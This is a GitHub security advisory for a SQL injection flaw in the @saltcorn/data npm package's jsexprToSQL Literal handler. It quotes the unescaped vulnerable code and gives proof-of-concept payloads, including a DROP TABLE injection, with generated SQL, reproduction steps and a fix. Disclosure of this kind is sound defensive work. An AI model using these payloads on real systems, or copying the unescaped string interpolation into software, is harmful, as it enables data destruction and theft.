GitHub Advisoryadvisory · npm
GHSA-59xv-588h-2vmm @saltcorn/data vulnerable to SQL Injection via jsexprToSQL Literal Handler
LOW
Official page ↗
- Ecosystem
- npm
- Packages
- @saltcorn/data
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:N
- Weaknesses
- CWE-89
- Reviewed
- 2026-04-10
Affected packages
• npm @saltcorn/data: < 1.4.5 → fixed in 1.4.5
• npm @saltcorn/data: >= 1.5.0, < 1.5.5 → fixed in 1.5.5
• npm @saltcorn/data: >= 1.6.0-alpha.0, < 1.6.0-beta.4 → fixed in 1.6.0-beta.4
Description
Summary
The `jsexprToSQL()` function in Saltcorn converts JavaScript expressions to SQL for use in database constraints. The `Literal` handler wraps string values in single quotes without escaping embedded single quotes, allowing SQL injection when creating Formula-type table constraints.
Vulnerable Component
File: `packages/saltcorn-data/models/expression.ts`, lines 117-118
```typescript
Literal({ value }: { value: ExtendedNode }) {
if (typeof value == "string") return `'${value}'`; // NO ESCAPING!
return `${value}`;
},
```
Call chain: Formula constraint creation → `table_constraints.ts:127` → `jsexprToSQL()` → `Literal()` → `db.query()` executes unsanitized SQL.
Proof of Concept
Injection via Formula Constraint
When an admin creates a Formula-type table constraint with the expression:
```javascript
name === "test' OR '1'='1"
```
The `jsexprToSQL()` function generates:
```sql
(name)=('test' OR '1'='1')
```
This is then executed as:
```sql
ALTER TABLE "tablename" ADD CONSTRAINT "tablename_fml_1" CHECK ((name)=('test' OR '1'='1'));
```
The single quote in the string literal is not escaped, breaking out of the SQL string context.
More Dangerous Payload
```javascript
name === "'; DROP TABLE users; --"
```
Generates:
```sql
(name)=(''; DROP TABLE users; --')
```
Verified on Saltcorn v1.5.0 (Docker)
Direct invocation of `jsexprToSQL()` inside the running container confirms the vulnerability:
```
Input: name === "hello"
Output: (name)=('hello') ← Normal
Input: name === "test' OR '1'='1"
Output: (name)=('test' OR '1'='1') ← Single quote NOT escaped, OR injected
Input: name === "'; DROP TABLE users; --"
Output: (name)=(''; DROP TABLE users; --') ← DROP TABLE injected
```
The test was performed on a completely fresh Saltcorn installation (zero user-created tables, default Docker setup).
PoC Screenshot
1. Create a table after moving to the table menu
2. Go to the table and then to `Constraits`
3. Go to `Formula`
4. Create a test table for verification
5. Input the payload and save
6. Check the table for testing
Impact
• Arbitrary SQL execution via crafted CHECK constraints
• Data exfiltration through error-based or time-based SQL injection
• Database schema manipulation (DROP TABLE, ALTER TABLE)
• Potential privilege escalation via direct `users` table modification
Suggested Remediation
Escape single quotes in the `Literal` handler:
```typescript
Literal({ value }: { value: ExtendedNode }) {
if (typeof value == "string") return `'${value.replace(/'/g, "''")}'`;
return `${value}`;
},
```
Alternatively, use parameterized queries for constraint creation instead of string interpolation.
Related
Weakness · CWE (1)
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness